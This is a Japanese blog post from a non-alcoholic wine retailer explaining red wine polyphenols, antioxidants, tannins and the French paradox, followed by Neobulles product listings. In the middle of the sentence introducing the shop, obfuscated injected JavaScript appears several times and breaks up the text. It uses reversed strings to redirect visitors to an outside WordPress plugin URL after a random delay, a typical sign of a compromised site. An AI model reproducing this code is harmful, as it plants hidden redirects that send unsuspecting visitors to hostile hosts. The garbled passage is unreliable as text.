ノンアルコールワインを楽しむ皆様に。

   
2020/8/15 posted

赤ワインは体にいい?!ワインポリフェノールについて学ぼう

   

  楽しむ・学ぶ

 

赤ワインといえば、体にいいお酒というイメージがありますよね。
このイメージが定着したのは、1990年代後半。赤ワインにはポリフェノールという物質が豊富に含まれており、それが身体に良いという説が人気のテレビ番組で紹介されたことにより、もともとお酒をあまり飲まなかった主婦層までを巻き込んだ空前の赤ワインブームが起きたことがきっかけです。

しかし、ポリフェノールという名前は聞いたことはあるけれど、どういうものかはよく知らないという方も多いのではないでしょうか?今回は、このポリフェノールについて詳しく調べてみました。

◇ポリフェノールっていったい何?

ポリフェノールは、植物が光合成により体内に作り出すさまざまな生体防御物質の総称です。
ポリフェノールという名前は、化学物質のフェノールに、たくさんを意味する「ポリ」が付けられたもので、植物の苦み・渋みの成分、あるいは色素として、葉・茎、花、果実などに含まれています。
植物が紫外線を浴びたり、乾燥や過酷な自然条件にさらされた時に、そのストレスから生じる活性酸素から身を守るために作り出すのがポリフェノールで、これまでに自然界からは約8000種類ものポリフェノールが見つけられています。
そして、私たち人間がポリフェノールを摂取することで、様々な身体によい効果が期待できるといわれています。

◇ポリフェノールに期待される効果は?

ポリフェノールは強い抗酸化作用をもつ物質です。
人間が日々生命活動を営むためには、呼吸をして酸素を取り入れることが不可欠ですが、呼吸によって取り入れられた酸素のうち約2%は、活性酸素という他の物質を酸化させる作用が非常に強い物質に変化します。
活性酸素は人間の体内で、その強い殺菌作用から体内で細菌やウイルスを攻撃する役目を果たしたり、細胞間のシグナル伝達などの重要な役目を果たしています。
一方、体内の活性酸素が過剰になると、自分自身の細胞を傷つけはじめ、ガン・心臓疾患・脳出血・糖尿病など様々な病気を生むことが分かっています。
そのため、人体には、活性酸素から自己を防御する働きがもともと備わっているのですが、環境的な問題やストレス、加齢などによりその防御力が弱まると、活性酸素の酸化作用によるダメージで身体のあちこちに問題が生じてきます。

しかし、この時に抗酸化物質であるポリフェノールを摂取すると、活性酸素が体細胞を酸化させる前にポリフェノールが活性酸素と結びつくため、結果として、活性酸素による害から体を守り、健康を保つ助けとなってくれるのです。

ポリフェノールにはその種類により様々な効果があると言われていますが、ポリフェノールに期待される代表的な効果の中に、悪玉コレステロールと呼ばれるLDLコレステロールの酸化を抑え、動脈硬化を改善する作用があります。
血中のLDLコレステロールが増えすぎると、余剰のコレステロールは動脈の血管壁に入りこみ酸化して、血管壁にこぶのように盛り上がった動脈硬化巣を形成します。そして、これが破裂すると血栓でき、それが心臓の微小血管や、脳の血管に詰まることで心筋梗塞、狭心症、脳卒中や脳血栓などの深刻な症状を引き起こします。

ポリフェノールには、血中のLDLコレステロールの酸化を抑えることでこのような動脈硬化によるダメージを改善し、健康を保つ作用があると考えられています。

◇ワインポリフェノールとは?

さて、ポリフェノールに期待される効果が分かったところで、ワインにはどのようなポリフェノールが含まれているのかを見てみましょう。

ワインには、ブルーベリーに含まれるポリフェノールとして有名な色素のアントシアニンをはじめ、玉ねぎの皮に含まれる健康成分として注目されているケルセチン、緑茶や紅茶に含まれるポリフェノールとして有名なカテキンなど、様々なポリフェノールが含まれていますが、中でも最も含有量が多いのがタンニン(プロアントシアニジン)です。
タンニンは赤ワインの渋みの元になっている物質で、その名前はワインファンの皆さんにはもうおなじみでしょう。ブドウの果皮や種に多く含まれ、ワインポリフェノールの中心的な成分を占めています。

赤ワインには、白ワインない強い渋みが特徴ですが、それは赤ワインにはたくさんのタンニンが含まれているから。これは白ワインと赤ワインの製法の違いによるものです。
白ワインはブドウを圧搾して得たジュースをタンクに入れ、すぐに発酵させて作られますが、赤ワインの場合は、ジュースにブドウの皮や実を漬けたまま発酵させる「醸し」という工程を経ます。
この過程で、発酵により発生するアルコールによって果皮や種からアントシアニンやタンニンなどのポリフェノールが溶出されるため、赤ワインはしっかりとした赤い色と、強い渋みをもっているのです。
なので、ワインポリフェノールをたくさん摂取したいのであれば赤ワインがオススメです。赤ワインの中でも、色が濃く、渋みもしっかりあるほうがより多くのポリフェノールを含んでいます。

タンニンはワインに渋みを与えるだけではなく、ワインの長期熟成を可能にする働きもあります。
ワインを長期保管し熟成させると、ワインに含まれる成分がボトルの中の空気に触れて徐々に酸化(=熟成)が進んでいきますが、このまず時に酸化していくのがタンニン。熟成中にタンニンが酸化・分解することで、ワインはカドの取れたまろやかな味わいとなります。
また、ワインの劣化を抑えて長い期間熟成を可能にするため、熟成に由来する複雑で豊かな香りを楽しめるようになるのも、抗酸化物質であるタンニンのおかげといってよいでしょう。

また、タンニンが動物の血中や動脈壁内で抗酸化力を発揮し、動脈硬化の原因となるLDLコレステロールの酸化を抑制することは、マウスを使った実験により実証されています。

なお、赤ワインの健康効果は、以前より「フレンチパラドックス」として知られています。
フレンチパラドックスは1990年代にフランスの科学者セルジュ・ルノー博士により発表された説で、「フランス人はアメリカ人に比べてより沢山のバター類を摂取し、より多く喫煙し、運動量は少ないにも関わらず、心臓疾患の発生率が40%も少なく、かつ長寿な理由は、フランス人の毎日食事に合わせて赤ワインを飲む習慣と、フランス独特の食生活が心臓疾患の発生を抑えているのではないか」というものです。
フレンチパラドックスは、1991年にアメリカの人気テレビ番組で紹介されたことで広く知られるようになり、放送の翌日にはスーパーマーケットの棚から赤ワインが消えてしまうほどの赤ワインブームをアメリカ国内で引き起こしました。
1997年には日本のテレビ番組でも紹介され、以来日本でも、赤ワイン=健康にいいというイメージが定着したと言われています。
(なお、その後の研究により、フレンチパラドックスは赤ワインだけの効果ではなく、フランス人の野菜を多く食べる食習慣や、残業をせず、バケーションもしっかり取る、ゆったりした生活習慣全体により引き起こされる現象と考えられています。)

◇赤ワインでポリフェノール摂取の問題点は?ノンアルコール・赤ワインを活用しよう!

ポリフェノールを含む食品は沢山ありますが、その中でも赤ワインは多くのポリフェノールを含んでおり、効率よくポリフェノールを摂取できる食品といわれています。
しかし、赤ワインでポリフェノールを摂取しようとする際の問題はアルコールです。

ワインはおよそ12-14%程度のアルコールを含んでおり、厚生労働省が示す一日当たりの節度ある適度な飲酒量(純アルコールに換算して20グラム以下)によれば、一日あたりの適切なワインの量は約200ml。グラスにして1杯と半分強となります。
そして、200mlのワインに入っているポリフェノールはおよそ460mg程度。ポリフェノールの1日の理想的な摂取量の目安は1000~1500mgと考えられていますが、もしこの量をすべてワインで摂取するとすれば、ボトル1本近くのワインを飲まなければならないことになります。
「赤ワインで体にいいポリフェノールを摂取するぞ!」と調子に乗って飲んでいると、健康効果を得られるよりも、むしろ、アルコールの取りすぎによる肝機能低下や肥満、コレステロールの問題など健康問題を引き起こしてしまうため危険大です!

そんな時に活用したいのがノンアルコールワイン。Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで扱っているNeobullues社のノンアルコールワインは、一旦ブドウをアルコール発酵させてワインにし、それを真空状態の特殊な蒸留設備でアルコールの沸点を40度程度にまで下げて蒸留しているため、ワインがもつ様々な成分を損うことなく、アルコールのみを取り除いています。
これなら、アルコールを控えながら安心してポリフェノールを摂取することができますね。

また、ポリフェノールは水溶性なので、摂取しても効果は4時間程度しか持続しません。なので、一日の中でも複数回にわけて摂取をするのが良いといわれています。
ですので、ワインだけに頼るのではなく、チョコレートやココア、緑茶・紅茶、コーヒー、ブルーベリーやカシスのような色の濃いベリー類などのポリフェノールを含む様々な食品をバランスよく摂り、トータルで十分なポリフェノールを取り入れるように意識してみてはいかがでしょうか?

MELLOWは本格ワインのノンアルコールワインをオススメします!

デュク・ドゥ・モンターニュ ブリュット

デュク・ドゥ・モンターニュ ブリュット/750ml

メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
辛口でキレのある口あたり、まろやかな酸味。
アルコール度数 / 
0.0%

よりドライな口当たりのノンアルコール・スパークリングワインが欲しいという声に応える商品。青リンゴとレモンを思わせる爽やかな果実味に、まろやかな酸味。キリッとした口当たりに、爽やかなはじける炭酸。辛口タイプのノンアルコール・スパークリングワインです。

デュク・ドゥ・モンターニュ 製品

デュク・ドゥ・モンターニュ/750ml

カロリー / 
27kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
甘口
アルコール度数 / 
0.0%

ノンアルコールなのに、まるでシャンパンの味。本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。お酒が飲めない方や、妊娠・授乳中の方、ドライバーの方にも安心して楽しんでいただける商品です。

デュク・ドゥ・モンターニュ・ロゼ 製品

デュク・ドゥ・モンターニュ・ロゼ/750ml

カロリー / 
23kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや甘口
アルコール度数 / 
0.0%

本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。ロゼは、輝くようなサーモンピンクの愛らしい色合い。華やかなアロマの香りも豊かなエレガントな商品です。

ヴィンテンス・シャルドネ(白) 製品

ヴィンテンス・シャルドネ(白)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ブルゴーニュ地域を代表する品種のシャルドネを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。シトラスの香りと複雑味のある豊かな味わいをお楽しみいただけます。鶏肉などの白身肉や魚の料理と相性がよいタイプです。

ヴィンテンス・メルロー(赤) 製品

ヴィンテンス・メルロー(赤)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ボルドー地域を代表する品種のメルローを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。フルーティーながらコクがあり、ブルーベリーの風味も感じられます。赤味の肉やチーズと好相性です。

Thanks for your reading!